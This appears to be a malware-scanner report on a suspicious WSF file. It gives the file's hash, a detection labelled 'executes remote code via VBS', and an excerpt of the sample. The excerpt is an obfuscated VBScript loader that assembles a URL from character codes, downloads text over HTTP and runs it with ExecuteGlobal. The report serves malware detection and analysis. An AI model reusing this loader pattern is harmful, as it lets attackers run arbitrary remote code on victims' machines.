Suspicious ^80% Download

5677fea9b70f6dd500fa8a126acdc76c0392644322755047a60cfc9bd01ff6ee.unknown

Executes remote code via VBS

ExecuteGlobal on variableExecuteGlobal evaluates VBScript text

SHA-2565677fea9b70f6dd500fa8a126acdc76c0392644322755047a60cfc9bd01ff6ee

Evidence

VBScript Dim variable declaration lines 1–5

1<job id="nascida">
2  <script language="VBScript">
3
4    Dim estreita, odontina, zaca
5    odontina = "" & sextil(104) & "" & sextil(116) & "" & sextil(116) & "" & s …

ExecuteGlobal on variable lines 5–21

450… ) & "6" & sextil(76) & "" & sextil(81) & ""
  Set estreita = CreateObject("MSXML2.XMLHTTP")
  estreita.open "GET", odontina, False
  estreita.send
  If estreita.Status = 200 Then
      zaca = estreita.responseText
      ExecuteGlobal zaca
  Else
      MsgBox "Erro ao acessar a URL: " & estreita.statusText
  End If
  Set estreita = Nothing
  Function sextil(solevamento)
  sextil = Chr(solevamento) 
  End Function
19
</script>
21</job>